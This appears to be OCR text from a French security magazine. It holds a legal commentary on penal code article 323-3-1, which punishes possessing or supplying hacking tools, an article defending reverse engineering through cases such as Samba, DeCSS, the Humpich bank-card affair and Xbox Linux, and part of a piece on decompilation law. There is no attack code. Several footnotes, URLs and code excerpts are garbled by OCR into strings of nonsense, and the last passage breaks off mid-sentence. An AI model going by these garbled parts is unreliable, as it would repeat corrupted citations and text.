12 Article 323-1 4323-3 du code pénal - acces ou maintien frauduleux, entrave ou faussement d'un systeme, introduction Fraudulause ou suppression ou modification de dannées.

14 Paragraphe 7| du Rapport explicatif :« Dans la ol la c desdites infracti i Jap ion de d‘accns(«auﬁhﬂ&pinﬂga»)aud‘nutrasoudls.nm
une forte motivation d'en acquerir a des fins déhcmmm ce qul peut déboucher sur la creation d'une sorte de marthﬁ noir de la pmﬁucﬂon et de fa distribution de tels outils ». A voir sur -
http:liwww.droit-technologie.org/legislations/conseil_europe s tion_ cybercriminalite_rapport_explicatif.pdf

14 5yr fes différents stades de t'i-rer criminis, voir Soyer, |.-C. Droit pénal et procédure penale (|2e edition} - BSHS/ Droit -Science politique K|V 7979 5731 2001

'SLh'nwwwh mammwmzmammwmﬂumwwmdm http:/fwww.gigalaw.com/articles/200 | -all/landau-2001-09-all.html ; Unintended Consequences ©
Five Years smdar the DMCA. htq:.ﬂ'maﬂ org/IP/DMCA/ inte | q es.pdf ; Dimitri Skiyarov on chilling effect of DMCA : http://www.sethf.com/

16 Le cas Felten. rzppel des fah_-z septembre 2002, le SDMI lance un défi public invitane les participanes 4 analrser et dm:h|ffrer une série de mesures de sécurité congues pour protéger les
enregistrements musicaux contre |a copie illicite. Le professeur Felten et son équipe de recherche relévent le challenge et r 1t @ craguer cing technologies sur les six proposees.
Au lieu de reclamer a récompense allouge aux gagnants du défi, le professeur Felten decide de rédiger un papier scientifique sur ses découvertes et de le soumettre @ la conférence IHW (information
Hiding Workshop). Le SDMI avec des représentants de fa RIAA et de la société Verance {proprietaire de 'une des solutions qui ent été craquées) envoient alors au professeur Felten plusieurs fettres
et courriers electroniques d'avertissement, ['informant qu'll risquait ce falsant de tomber sous le coup de la lai fedérale, ¥ compris le DMCA, et lul enjoignant tres fortement de retirer son papier
de la Conférence Ayant d'abord reculé, le professeur Felten et son equipe ont finalement décidé de présenter le méme papier a la conférence Usenix , engageant paralielement (avec |e support de
I'EFF — Electronic Frontier Foundation) une demande de jugement déclaraif (Declaratory judgment) statuant sur les peints de droit concernant ['absence de violation du DMCA (qui r'émit pas encore
entre en vigueur i I'epoque des faits) et la protection des auteurs de la publication en vertu du 1®" Amendement sur la Liberté d'Expression. Pour connaitre les suites de I'affaire, consulter -
http:liwww.eff.org/IPIDMCA/Felten_v_RIAA/

'7Le cas Dimitri Sklyarov - feuilleton judiciaire de I'seé 2001, dans lequel un jeune programmeur russe tient le réle principal Arrécé a lissue de la conférence DEF CON i Las Yegas en }uﬂ'lat 2001,
ouRmMmmwmwamammuhwmmﬂwhhmMEmﬂkmummwumﬂehmﬂhmm'ﬂmmm
_pmrmkpmmséd‘mluuﬁpmmntdewmrmrhsmm techniques de protection du format Adobe E-Book et pour complicité avec son employeur, Dimitr sera détenu pendant
plusieurs mois avant d'étre reliche et de p repartir en Russie. Pour plus de details, consulter les archives EFF - http://www.efl.org/IP/DMCA/US v_EI ft/

18 Article adopté dans |e cadre de fa Loi sur fa sécurité quortidienne (LSQ) n® 2001-1062 du |5 navembre 2001, et faisant suite & [affaire Serge Humpich (T.corrParis , 25 fevrier 2000 ; juris-Daca
n" 2000-134 503 et CA Paris, 6 décembre 2000 : juris-Data n* 2000- 34 502 ; Communication Commerce électronique, mars 2001, comm. N* 28, C. Le Stanc) et au battage médiatique ayant entoure
["affaire des cartes appelées «'Yescard ».

. Beal

F00T n0EASYINl - 1 351l




J

Nouvel article 323-3-1 du Code pénal : le cheval de Troie du |égislateur ?

—

Mise 14 - juillet/actt 2004

qui contribuent a 'avenement d'une nouvelle catégorie de « biens
a double usage ».

Les auteurs de la Convention sur la Cybercriminalité (qui, comme
on I'a vu, est directement a l'origine de la rédaction de I'article 323-
3-1 concernant le point relatif a |a « possession » ou la « detention »
des dispositifs incriminés) s'etaient pourtant longuement interrogés,
comme le montre le Rapport explicatif, sur la question de savoir
quels outils devaient étre vises, de facon a exclure les dispositifs a
double usage.

Ainsi, 'approche visant les dispositifs « congus exclusivement
ou spécialement pour permettre la commission d'infractions »
a été jugée trop restrictive car elle risquait de « créer des difficultes
insurmontables en ce qui concerne I'administration de la preuve
dans les procédures pénales, ce qui rendrait la disposition
pratiquement inapplicable ou applicable uniguement dans de rares
cas ». D'un autre cote, la solution consistant a inclure tous les
dispositifs, méme ceux dont la production et la diffusion sont licites,
a également été écartée puisque I'imposition d’'une sanction ne
pourrait alors reposer que sur I'élément subjectif de I'intention de
commettre une infraction informatique, approche qui n'avait pas
non plus été retenue dans le domaine de la contrefagon de monnaie.

Finalement, la Convention a adopteé une solution de compromis
(jugée « raisonnable ») qui consiste a limiter le champ d'application
de I'article 6'? aux dispositifs dont on peut dire qu'ils sont
« principalement congus ou adaptés » pour permettre la
commission d'une infraction de fraude informatique.

Dans la premiére version proposée dans le cadre du projet de loi
« LSI » (cf supra), le législateur frangais avait quant a lui retenu une
rédaction plus restrictive encore, visant uniquement les dispositifs
« congus pour commettre une ou plusieurs des infractions prévues par
les articles 323-1 a 323-3 » du Code penal.

Malheureusement, la formule adoptee en lecture définitive par le
Parlement n'a pas tiré les enseignements des propositions
anterieures ni des debats autour de la Convention et cette rédaction
risque en pratique de semer la confusion dans le cas de certains
dispositifs simplement pervertis ou détournés a des fins
illicites par des utilisateurs malveillants. Par exemple, on peut
s'interroger sur le sort qui serait réserveé a l'auteur du programme
DeCSS, le Norvégien Jon Lech Johansen2? en France, au vu du nouvel
article 323-3-1 ? En effet, ce programme n'a-t-il pas été principalement
concu pour permettre |'interopérabilité des DVD avec les lecteurs

de PC fonctionnant sous systéme d'exploitation Linux, tout en se
révelant dans le méme temps, pour d'autres utilisateurs plus
malveillants, particulierement (sinon spécialement} adapté pour faire
sauter les verrous techniques interdisant la lecture de DVD hors
zone de distribution ?

A la lumiere de cet exemple, on peut donc penser que la solution
de compromis adoptée dans le cadre de la Convention sur la
cybercriminalité aurait ete préferable. Et pour renforcer cette
opinion, on citera en dernier lieu la pratique de certains pays dans
I'application des contréles a I'exportation des biens de cryptologie
— biens qui justement, sont visés dans 'Arrangement de VWassenaar?!
en tant que « biens a double usage », et pour lesquels certaines
autorités de controle relativisent la rigueur d'application de la
réglementation selon que les fonctionnalités cryptographiques
executées a des fins de confidentialite le soient a titre principal
ou simplement accessoire.

Point d'orgue de l'infraction prevue par le nouvel article 323-3-1
du Code pénal, la recherche du « motif legitime » se revele donc
le dernier recours a |'usage des scientifiques, ingénieurs, journalistes
spécialisés ou amateurs partisans de la cause « sécurité informatique ».

3 « Sans motif legitime » :
du bon grain et de l'ivraie

En premier lieu, il convient de souligner tres clairement que,
conformement a l'article 121-3 du code penal, tout délit suppose
une intention de le commettre, si bien que la détention (ou, plus
hypothétiquement, la fourniture) involontaire de programmes
malveillants ne peut étre poursuivie. Dans le méme sens, M. Rene
Trégouét, lors des débats en seconde lecture devant le Sénat, rappelaic
a l'intention des auteurs de certains amendements?? que l'article
323-3-1 n'a « ni pour vocation ni pour effet de permettre la sanction
pénale d’internautes non avertis; qui détiendraient malgre eux un virus
informatique ou qui utiliseraient a des fins ficites des logiciels d’acces a des
ordinateurs ou serveurs distants » (logiciels Telnet ou FTP par exemple).

Cependant, si la fourniture ou la simple possession d'outils de
piratage doit étre intentionnelle pour pouvoir étre sanctionnee,
c'est-a-dire gu'elle doit étre en connaissance de cause et sans droit,
la formule de I'article 323-3-| retenue par le Parlement francais
n'exige pas, comme le prévoit I'article 62* de Convention sur la
cybercriminalité, la preuve d'une intention specifique — « c'est-a-dire
(comme I'expose le Rapport explicatif de la Convention) une

19 Article 6 —Abus de disposirifs

|. Chaque Partie adopte les mesures législatives et autres qui se révelent nécessalres pour ériger en infraction pénale, conformeément d son droit interne, lorsqu’elles sont commises

intentiernellement et sans droic

. La production, la vente, |'obtention pour utilisation, |'impartation, la diffusion ou d'autres farmes de mise & disposition

. D'un dispositif, y compris un pragramme infarmatique, principalement conqu ou adapté pour permettre la commission de 'une des infractions érablies canformement

aux articles 2-5 ci-dessus ;

il. D'un mot de passe, d'un code d'acces ou des données informatiques similaires permettant d'acceder 4 tout ou partie d'un sysceme informatique dans lintention qu'ils

soient utilisés afin de commettre 'une ou 'autre des infractions visees par les articles 2-5 ; et

b, la passession d'tn elément vise aux paragraphes () (1) ou (2) ci-dessus dans l'intention qu'il soit utilisé afin de commettre ['une ou l'autre des infractions visees par les articles 2-
5, Une Partie peut exiger en droit interne qu'un certain nombre de ces éléments soit détenu pour que la responsabilice penale soit ee 0.

=)

d'acces frauduleux a des donnees et de

des mesures techniques de protection de ces donnees (Tribunal de 1878 jszance

WA;qum par les juges norvégiens de I'ace

d'Osla, 7 janvier: 1003] - Pour p]us de dexails sur I'affaire DVD-jon : http:liwww.eff.org/IP/Video/DeCSS_prosecutions/johansen_DeCSS_case/

W‘”-" fter larchive/3693.cfm
! Paur plus de détils, voir : httpi/fwww.wassenaarorg
1Ip d n" 75 tendant a insérer le mot « volontai » ! n" 22 tend

lorsque ['importation, la détention, 'offre, la cession ou la mise & disposition de I'tquipement, de [

impprhm‘laﬂnéalduL.prkmntque «Lﬁakpwuansmpmsﬂnarsdenumpmappﬁcmles

seconde lecture par 'Assemblée nationale).

23 Op. cit : « dans |'intention que (Ies dlsposn’.lfs} solent utilises afin de commettre I'une ou ['autre des infractions visees par les articles 2-5 »,

t, du prog f ou de touts donnée n'est pas intentionnelle » (alinga insére en




intention directe d'utiliser le dispositif litigieux pour commettre 'une ou
Fautre des infractions principales ». De méme, concernant la répression
relative a la simple possession, le législateur n'a pas retenu |'option
laissée aux Parties a la Convention, tendant a imposer qu'un certain
nombre d'éléments soient détenus pour que la responsabilité pénale
puisse étre engagée.

Surtout, il est intéressant de souligner que, des le passage du texte
en | lecture, les sénateurs ont supprimé ['alinéa 2 prévu dans la
mouture initiale de I'article 323-3-1 qui prévoyait que : « Les
dispositions du présent article ne sont pas applicables lorsque fa détention,
I’offre, la cession et a mise a disposition sont justifiées par les besoins
de la recherche scientifique et technique ou de la protection et de la
sécurité des réseaux de communications électroniques et des systémes
d'information ». Le rapporteur pour avis de la Commission des Lois,
Mme Michéle Tabarot, en a motivé la suppression en jugeant « le
champ de l'exclusion de la responsabilité pénale proposée excessivement
large. En effet, les notions de “besoins de la recherche scientifique et
technique” ou de la “protection et de la sécurité des réseaux de
communication” sont particuliérement imprécises (...) ».

Finalement, plutdt que de retenir la proposition consistant a
soumettre les laboratoires et autres organes de recherche en
informatique a un régime de déclaration prealable analogue a celui
applicable en matiére de cryptologie?? (ce systéme risquant de
susciter des difficultés d'application), le législateur a préféré insérer
la notion de « motif légitime » dont I'appréciation est laissée a la
discretion du juge. A cet égard, la question est posée au Conseil
Constitutionnel de savoir si cette notion n'est pas tout aussi
imprecise (question autour de laquelle se sont exprimees des
divergences de position au cours des débats parlementaires)...

Malgreé tout, il est certain que les dispositifs d'analyse de réseaux
ou de test d'intrusion congus par les milieux professionnels pour
vérifier la fiabilité de leurs produits informatiques ou contraler la
sécurité des systemes sont fabriqués a des fins [égitimes et que leurs
utilisateurs (professionnels, clients) ne pourraient donc étre
considéres « sans droit ».

L'epée de Damocles repose plutot sur cette catégorie de « hackers
blancs » (White Hat), informaticiens zelés, ferus de sécurite, qui se
sentant comme « investis de la mission de tester la sécurité des
produits et systémes »2% en dénoncent publiquement les
vulnérabilites. Pour eux2®, il est une frontiere a ne plus ignorer
désormais (sous peine de tomber pour de bon du cété obscur de
la Force, laquelle est representée ici par l'article 323-3-1) :

la divulgation de toutes données (mots de passe, codes d'acces,
clés cryptographiques, etc.), techniques ou dispositifs « préts a
I'emploi » (exploits) permettant de mettre en ceuvre et d’exploiter
directement une faille de sécurité. Il en va de méme pour les
journaux en ligne ou la presse papier, les sites Web ainsi que les
listes de diffusion grand public, dés lors que ceux-ci publient des
informations décrivant par exemple des scenarios opérationnels
d’attaque, de maniere reproductible par tous, ou des technigues de
contournement des verrous de protection de logiciels deplombes.

En définitive, le nécessaire apprentissage des méthodes et outils
d'attaque par les professionnels de la sécurité informatique, y compris
dans le cadre de leurs activités privées (loisirs, associations), ne
semble pas pouvoir se confondre avec ces actions prétendument
« altruistes » conduisant 4 la fourniture de moyens de piratage
{congus ou spécialement adaptés pour la commission d'infractions)?”,
Il reste cependant a sensibiliser et convaincre les juges de la nécessité
d'une divulgation responsable, le partage de |'information
conditionnant en grande partie, en |'état des moyens actuels,
I'optimisation de la sécurité des systémes et également la
responsabilisation des editeurs de logiciels et solutions.

A cet égard, précisons que ni la politique de « sécurité par le
secret » (bug secrecy) ni celle de « sécurité par la transparence »
(full disclosure) ne constitue a elle seule la solution a cet objectif,
mais bien la divulgation, responsable (cf supra, sur la « frontiere » a
respecter ) et maitrisée dans le temps et dans |'espace??, des failles
de sécurité.

4 Conclusion

Gageons donc que le juge saura discerner dans la « jungle
d'Internet » le bon grain de l'ivraie et que cette nouvelle
infraction prévue par I'article 323-3-1 du Code pénal sera utilisee
a bon escient et non comme un instrument d’intimidation
contribuant a entraver les travaux de la communauté des
chercheurs et des experts en sécurité. Enfin, comme 'ont
démontré plus de quinze années d'application de la loi
Godfrain??, la définition d'une politique pénale et {en I'absence
d'une obligation de déclaration des incidents de securite??) la
volonte du Ministere Public de poursuivre ces actes, seront
avant tout, déterminantes dans ['efficience du nouveau dispositif.

U/

- ¥l 3l

#00¢ Inoeaajmn/

M Carticle |18 du projet de lof pour la confiance dans ['ecanomie numerique (LCEN),

25C. Le Stanc, opcit

s

.. mais aussi sans doute pour les membres de la communauté scientifique et les professionnels participant & des conferences sur la sécurité des technologies de l'information et de la
communication ...
27 A cet égard, les systémes « pot de miel » (haneypots) qui connaissent actuellement un fort regain d'intérét parmi les membres de fa communauté scientifique et technique ne semblent pas
devoir &tre affectes par cetce nouvelle disposition, sous réserve que les responsables de ces systé les « nettolent » régulierement des outlls et programmes installés par les attaguants
leurres, evitant ainsi de devenir complices de la diffusion de ces dispositifs @ des tiers. ® . eal= s i
8 Bruce Schneier, Full disclosure and the Window of Exposure — CRYPTO-GRAM, September 15,2000 : htep:/www. :l:hneier.com-‘crypm-g'rarn EH!CI? html#l

27 Lol du 5 janvier 1988 ¢ Depuis lentrée en vigueur de la lol, on compte une petite trentaine de proces sur son fondement {...) » - Thibaut Devergranne. La fol rﬁudfrmn »a iépmmdu
temps, paru dans MISC : htepsiiww g.com/articles/full-page.php3lpage=304
30Mouvement aujourd'hui amorcé aux Etats-Unis, en particulier dans ['Etat de Californie ol le Security Breach Information Act (5.B. | 386), voté en février 2002 et qui a pris effet le ler julllet
2003, oblige toute société ou personne gerant des données informatiques en Californie, mals aussi ceux qui ont des clients californlens, 3 informer leurs utilisateurs des lors qu'lls ent connaissance
d'une “faille dans la sécurité du systéme pouvant avair entraing |'acquisition non autorisée de données informatiques compr ont la sécurité, la confidentialité ou l'intégrite des donnees persannelies”
contenues dans leurs fichiers. Pour plus de details, lire : http:/fwww.transfert.net/a9058.
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- Qu’est-ce que le reverse engineering ?

D’aprés le jargon francais, c'est une technique consistant a
determiner I'utilité d'un objet vu pour la premiére fois, en analysant
cet objet. Dans le cas de la securité informatique et plus
généralement de [linformatique, il s'agit de désassembler
(décompiler) un programme pour en comprendre |e
fanctionnement. || arrive aussi de “reverser” du matériel comme
un periphérigue ou un processeur. Récemment par exemple, Intel
a fait du reverse engineering de la technologie AMD64 pour
implémenter son propre jeu d'extensions 64 bits [INTEL].

= A quoi sert le reverse engineering ?

Il a été question précédemment de périphérique. Dans ce cas précis,
il sert generalement a comprendre le fonctionnement du materiel
pour connaitre ses spécifications. La plupart du temps, les
constructeurs sont reticents a les donner. Le monde de 'Open
Source a donc souvent eu recours a ce genre de pratiques pour
développer ses propres drivers de periphériques (cartes son et
vidéo, BIOS...). Sur des logiciels, le reverse engineering sert aussi
beaucoup a ré-implémenter des fonctionnalités propriétaires comme
des protoceles ou des algorithmes. Mais c'est souvent dans le
domaine de la sécurité que nous entendons parler le plus de reverse
engineering. S'il peut étre utilisé pour “cracker” un logiciel, il sert
également a auditer un logiciel propriétaire ou analyser des malwares
(virus et autres).

Plusieurs anecdotes vont suivre. Elles montreront, outre la prouesse
technique, les retombées que peut avoir 'utilisation du reverse sur
un logiciel ou du mateériel proprietaire. Et surtout, elles serviront
a montrer que le reverse engineering n'est pas qu'un simple outil
technique pour bidouilleurs avertis et crackers inveteres mais qu'il
a une reelle utilite.

Le reverse engineering
dans le monde du logiciel libre

Le projet Samba est peut-étre le cas le plus connu de reverse
engineering dans le monde du logiciel libre, en tout cas celui qui
représente |e plus de travail. Tout le monde connait ce logiciel, les
protocoles (SMB et CIFS) qu'il émule et ce pour quoi il est desting,
c'est-a-dire offrir une solution complete de substitution aux serveurs
et clients Windows. |l peut donc jouer le réle de contréleur de
domaine par exemple et communiquer avec les clients Windows
95/98 et NT en toute transparence.

Sa version actuelle est la version 3.0.4. Samba a réellement débuté
le premier décembre 1993 avec l'annonce du projet “Netbios for
Unix" et jusqu'a aujourd’hui, 35 versions de Samba environ ont vu
le jour. Pourquoi un projet aussi long et autant de versions ? Les
protocoles utilisés par Windows sont propriétaires et connaissant
la politique marketing de Microsoft, peu d'informations a leur sujet

ont été diffusées. L'équipe de développement a donc dii“reverser”
Windows pour parvenir a ce qu'est Samba aujourd’hui.

Certaines parties de code de Samba parlent d'ailleurs d’elles-
mémes :

Eival

/% Some flag values reverse engineered from NLTEST.EXE */

#define LOGON_CTRL_IN_S¥
adefine LOGON.
ddefine LOGON_L

3y
i

L_IN_PROGRESS BxgZ

ou bien encore :

o]

%

+

Check the data length doesn't go over the 1BMR limit.
increased after cbserving a bug Tn the Nindows NT
spantsy.exe when the response to & GETPRINTERDRIVER? RPf

will not it in the initial buffer of size @x1868 —jerry 22/81/2602

s

*

*

]

Un proceés a été intenté a I'équipe Samba et perdu par Microsoft,
démontrant clairement que ce projet ne laissait pas indifferent la
firme ameéricaine. Le proces perdu, I'équipe de Samba est depuis
lors autorisée a diffuser sur Internet les sources contenant du code
désassemble de Windows. Qutre ce proces qui est plus ou moins
une victoire du logiciel libre sur Microsoft (ne langons pas un
troll :), c'est aussi une preuve que le reverse enginering n'est pas
forcément illegal. L'équipe de Samba a fourni un travail colossal pour
permettre aux systémes libres de pouvoir communiquer avec des
reseaux Microsoft. On ne peut que les en remercier.

Le reverse engineering
et le business

Méme si le reverse engineering dans le cas de Samba s'attaquait a
un protocole proprietaire, il n'avait pas un impact financier direct.
Les deux anecdotes qui suivent sont differentes du fait que le reverse
engineering a eté utilisé dans le but de contourner des protections
qui obligeaient le simple utilisateur 2 débourser des deniers. Mais
contourner ne signifie pas casser.

DeCSS ou 42 facons de diffuser
un code source

Le moindre Linuxien a déja entendu parler de cette histoire. Elle a
commenceé lorsque les DVD-videos vendus dans le commerce
étaient encodes puis chiffres selon un algorithme appele CSS (Content
Scrambling System). Cette protection empéchait la lecture du DVD
sur des systémes tels que Linux ou les *BSDs puisqu'aucun logiciel
de lecture gratuit n’était prévu pour ces systemes d'exploitation. Il
était nécessaire de faire 'acquisition soit d'un lecteur DVD de salon
qui puisse dechiffrer le DVD, soit d'un lecteur DVD pour ordinateur
et un logiciel propriétaire (donc au minimum pour Windows) offrant
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le mécanisme de dechiffrage. Plus de détails sur cette protection
sont disponibles dans [DeCSS].

Un groupe international de développeurs, dont le plus connu Jon
Lech Johansen, a décidé de réagir et s’est lance dans le reverse
engineering de CSS afin de I'implémenter dans un programme Open
Source. Leur réussite vient de I'erreur commise par un éditeur qui
avait laissé la clé de décryptage dans son logiciel ! DeCSS est alors
né et vous imaginez la suite : proces a I'encontre du seul developpeur
connu (il n'était 4gé que de 16 ans a 'époque) intente par la MPAA
(Motion Picture Association of America), saisie de son materiel
informatique, et finalement acquittement. Le document [DeCSS]
explique plus ou moins en détails le déroulement du proces.

DeCSS semble aujourd'hui légal dans certains pays pour la simple
et bonne raison que le reverse engineering a été utilise a des fins
de portabilité. Toutefois, I'issue du proces ne serait peut-étre plus
la méme aujourd'hui avec certaines des nouvelles lois promulguses
derniérement, et en fonction du pays ol ce proces se déroulerait.
Et si vous souhaitez vous le procurer, visitez le site
http:/fdecss.zoy.org qui donne 42 maniéres de le distribuer :)

On prend les mémes et on recommence

DVD Jon, comme beaucoup I'appelle, le développeur de DeCSS,
refait parler de |ui avec le logiciel d'Apple iTunes. Mis a part qu'il
s'agit cette fois-ci d'un logiciel de musique, le scénario est exactement
le méme que le précédent [iTunes] : protection pour obliger les
utilisateurs a payer, contournement de cette protection par reverse
engineering pour permettre une utilisation sur des systeémes libres,
mise en accés libre sur Internet d'un logiciel (QTFairUse) illégal
aux yeux d'Apple et des majors de la musique, proces a I'encontre
du développeur, acquittement.

DVD Jon a toujours agi dans I'optique de fournir aux utilisateurs
de systemes libres les mémes fonctionnalités que les systemes
propriétaires tels que Windows ou MacOs X. Nous nous en
apercevons a travers ces deux histoires.

Le reverse engineering
sur du mateériel

L'affaire Humpich

Tout le monde a entendu parler de cette affaire tres controversée
au moins une fois [HUMPICH]. Pour mémoire, cet ingénieur avait
réussi a craquer le systéme des cartes bancaires. |l avait dli pour
cela comprendre le fonctionnement et donc “reverser” des
terminaux de paiement et des cartes de credit. Le fait de savoir si
Serge Humpich a réutilisé ou non des informations deja existantes
ou s'il a essayé de négocier ses informations n'est pas le sujet de
I'article. Nous nous focaliserons sur la finalité d'un tel travail de
reverse engineering.

Presque tout le monde posséde aujourd’hui une carte de paiement
sans pour autant chercher a savoir si elle ne présente aucun risque
en termes de sécurité et confidentialité. Serge Humpich s’etait pose
la question a I'époque et avait décidé d'etudier le systeme pour
avoir la réponse. |l réussit & démontrer que le systeme bancaire
etait défaillant en termes de sécurite.

Des mesures auraient dil étre prises par le GIE des cartes bancaires
(cartel de 175 banques), I'organisme diffusant la quasi-totalite des
cartes bancaires en France. Malheureusement, les moyens nécessaires
pour résoudre ces problémes de sécurité coitant trop cher (tous
les terminaux de paiement doivent étre remplacés), I'affaire a plus
ou moins eté étouffée. Au passage, Serge Humpich a été mis en
examen et jugé coupable (contrairement a DVD Jon).

Dans guel but la XBox a été reversée ?

Extrait du document [XBOX] intitule “The Xbox is a PC" (visitez le

site http:/fwww.xbox-linux.org) traduit en frangais :
“Microsoft a eu du mal & décrire la Xbox comme une ‘console’. Mais
en fait la Xbox est un standard de PC ‘legacy-free’, excepté pour
quelques changements trés mineurs qui seront listés plus bas. Le but
de cet article est de démontrer que la Xbox est un PC, et que méme
Microsoft ne la concoit pas comime une ‘console de jeu’, mais comme
une plate-forme @ l'identique d'un PC. Comme nous avons fait du
reverse-engeneering sur la machine de fond en comble pour permettre
le fonctionnement de Xbox Linux sur elle, nous avons quelques idées
sur les décisions du design qui ont été faites pour la fabriquer, et
comme nous allons le montrer : la Xbox est un standard de

[E]

PC tegacy-free’.

Le fait d'avoir “reverser’ la Xbox a démontré que cette console
n'était en fait qu'un PC standard allegé, et par conséquent de
permettre au proprietaire d'une Xbox d'en faire I'usage qu'il
souhaitait, et ce en toute légalité. Aujourd'hui, le principal projet est
de faire tourner un Linux sur une Xbox, tout ce qu'il y a de plus
louable et légal.

Les virus

Si certaines personnes ne sont toujours pas convaincues, malgre
les diverses anecdotes, de ['utilité du reverse engineering, il n'est
pas nécessaire de chercher bien loin pour les faire changer d'avis.
Les articles d'Eric Filiol ou de Nicolas Brulez dans MISC sur le
decorticage des virus en sont |a preuve.

Comment fonctionnent vos anti-virus ? A chaque virus les sociétés
éditrices d'anti-virus sortent un “plugin” pour éradiquer le virus.
Ces plugins sont codeés grice au reverse engineering du virus en
question pour en comprendre son fonctionnement et trouver la
meilleure solution d'éradication. Si vous refusez d'admettre que le
reverse est une technique nécessaire aux utilisateurs, arrétez
d'utiliser votre anti-virus :).
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Conclusion

Si nous regardons au niveau des lois, 'article de Thiebaut
Devergranne et Matthieu Chabaud (cf ci-contre) est la
pour donner la reponse. Dans la vie courante, il
semblerait que les entreprises éditrices de logiciels
souhaitent rendre le reverse engineering illégal. A travers
ces differentes anecdotes, on s'apergoit que quasiment
tout le temps un procés est intente a I'encontre du
developpeur a partir du moment ou le reverse a un
impact financier sur les sociétés.

Un autre exemple flagrant est le cas du Russe Dmitry
Sklyarov qui avait casse la méthode de chiffrement des
eBook de la société Adobe. Il fut arrété par le FBI (oui,
oui carrément) suite a une plainte d'Adobe et mis en
prison plusieurs mois pour un simple logiciel finalement.
Pas la peine d'expliquer pourquoi la société Adobe a réagi
de cette maniere. Finalement, comme tous les autres, il
a ete acquitté. Le site http:/fwww.freesklyarov.org/
diffuse toutes les informations en rapport 4 cette affaire.

Le reverse engineering est omniprésent : utilisé sur des
périphériques, des processeurs ou des logiciels, dans un
but légal (Samba) ou illégal (“crackage” de jeux et
logiciels), il est partout autour de nous.'aj surtout voulu
montrer a travers cet article que le reverse engineering
ne doit absolument pas devenir une technique illégale.
Son interdiction d'utilisation entrainerait un
ralentissement de I'informatique en général et surtout
une prédominance des logiciels et matériels propriétaires.
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Retrouvez sur :

I'ensemhle des sujets traités dans le magazine Misc,
grdace au nouveau moteur de recherche.
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> La decompilation trouve ses fondements juridigues au sein de
I'article L.122-6-1 du Code de la Propriéte Intellectuelle (CPl) reflet
des articles 5 et 6 de |a directive européenne du 14 mai 1991,

> le droit de décompilation : I'article L.122-6-| CPi est la transcription
littérale de l'article 6 de la directive, fruit d'une longue negociation
ayant abouti a un compromis apparent entre les professionnels du
milieu, La decompilation n'est autorisée que si elle est « indispensable
pour obtenir les informations nécessaires a l'interopérabilité d'un logicie!
créé de facon indépendante avec d'autres logiciels ».

Utiliser le reverse engineering
pour ...

m ... la maintenance du logiciel :

Le client/l'utilisateur peut-il, sans l'autorisation de l'auteur du logiciel, modifier
au titre de la maintenance le logiciel légalement acquis ?

L'acces aux sources d'un logiciel est indispensable pour en assurer la
maintenance voire le débogage. Il est donc normal que les utilisateurs de
programmes informatiques cherchent a I'obtenir. Mais les créateurs de logiciels
n'y consentent pas facilement car la détention des sources est trop souvent
assimilée a la propriété du programme. La compilation présente pour
les développeurs et les éditeurs de programmes l'avantage certain de
« crypter » le logiciel de telle maniére que son contenu soit pratiquement
inaccessible a la plupart des utilisateurs. Leurs droits sont préserves de fait
En conséquence, l'utilisateur depourvu des sources est prive de tout moyen
de maintenir le programme ou de le faire maintenir par une autre societe
que celle du créateur, legal détenteur des sources.

Dans le meilleur des cas, un logiciel a besoin d'évoluer ; dans le pire des cas,
il faut le reparer. Malheureusement, c'est contractuellement qu'il sera possible
de proceder a la maintenance du logiciel.

Il existe quelques litiges qui ont donné lieu a des decisions plutot facheuses.
Selon la décision du tribunal de commerce de Paris du 4 octobre 2001, est
mal fondée l'action pour faute a I'encontre d'un éditeur de logiciel, au motif
que celui-ci refuse de fournir les codes sources et les outils de développement
de progiciels dont il abandonne la commercialisation, des lors qu'aucune
obligation legale ou contractuelle ne lui impose de fournir ces elements.
L'editeur de logiciel est tout puissant s'il souhaite abandonner [a
commercialisation de son logiciel. L'utilisateur qui a acquis les droits
d'exploitation non exclusive par le biais d'une licence ne pourra legalement
acceder aux sources que pour un impératif d'interopérabilité.

W ... Uinspiration :

L'étude d'un programme peut reveler des idées et des principes, sans pour
autant que ces derniers puissent étre appropriés comme le logiciel lui-meéme,
En effet, les idées et les principes (tout comme les algorithmies, les concepts
et les langages de programmation) ne sont pas protegeables au titre du droit
d'auteur ;il est dit que les idées sont de libre parcours. Rien n'empéche, donc,
l'utilisateur de s'inspirer d'un logiciel sans pour autant le copier ; d'autant
que s'inspirer d'une fonctionnalite d'un logiciel n'est a aucun moment un acte
de contrefacon. En revanche, si le logiciel inspire presente une trop grande
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similitude avec le logiciel d'origine, l'auteur inspire risquerait de tomber sous
le coup de la contrefagon ou de la concurrence déloyale par confusion.

Toutefois, la copie pure et simple d'élements du code source, de sa structure,
de ses ingéniosités... prend la forme d'une contrefagon.

Si dans l'esprit il est possible de s'inspirer d'un logiciel existant, encore faut-
il qu'il puisse avoir acces a ses sources ; ce qui devient moins vident quand
il existe une mesure technique de protection du logiciel.

N ... contourner une mesure
technique de protection
des logiciels :

L'article L.122-6-2 CPI est cense regler cette hypothese. || dispose en effet
que « toute publicité ou notice d'utilisation relative aux moyens permettant la
suppression ou la neutralisation de tout dispositif technique protégeant un logicie!
doit mentionner que l'utilisation iflicite de ces moyens est passible des sanctions
prévues en cas de contrefacon ». Cette redaction aux apparences claires suscite
quelques interrogations. |l semble que seules |a publicité et la mise a
disposition de notice permettant la suppression d'un dispositif technique,
si elles ne precisent pas que cette utilisation est illicite, soient reprimees.
La paraphrase n'explique pas tout ; elle éclaire. On pourrait penser que ce
n'est pas l'acte de contournement de la mesure technique qui est illicite
mais la seule diffusion d'un moyen de contourner cette mesure sans préyenir
['utilisateur que ce moyen est illicite. La jurisprudence en a deécide autrement.
La directive droit d'auteur et droits voisins dans la sociéte de l'information
(DADVSI) du 22 mai 2001 doit étre transposee sur le point de la protection
des mesures techniques de protection des ceuvres en droit interne
frangais : d'apres les deux avant-projets de transposition ces mesures ne
seront pas transposees pour les oeuvres logicielles. Pour une etude plus
complete sur les mesures techniques de protection des aeuvres, le lecteur
se reportera a notre article paru dans MISC 7, pages 14 a | 7. Toutefois, en
procedant par analogie avec les régles de la DADVSI, l'utilisation du reverse
pour contourner une mesure technique de protection des ceuvres est un
acte de contrefacon.

Une difficulte ressurgit : si 'utilisateur a acquis légalement un logiciel et qu'il
use de son droit de décompilation dans un but d'interopérabilité et que le
logiciel est protege par une mesure technique, perd-il son droit ? Il ne s'agit
pas la d'un cas d'ecole.

Nous l'avons analyse, contourner une mesure technique de protection est
illicite et est assimilé a un acte de contrefagon. La loi a-t-elle offert a l'auteur
le pouvoir de jouer avec les exceptions légales ? L'auteur ne peut deroger
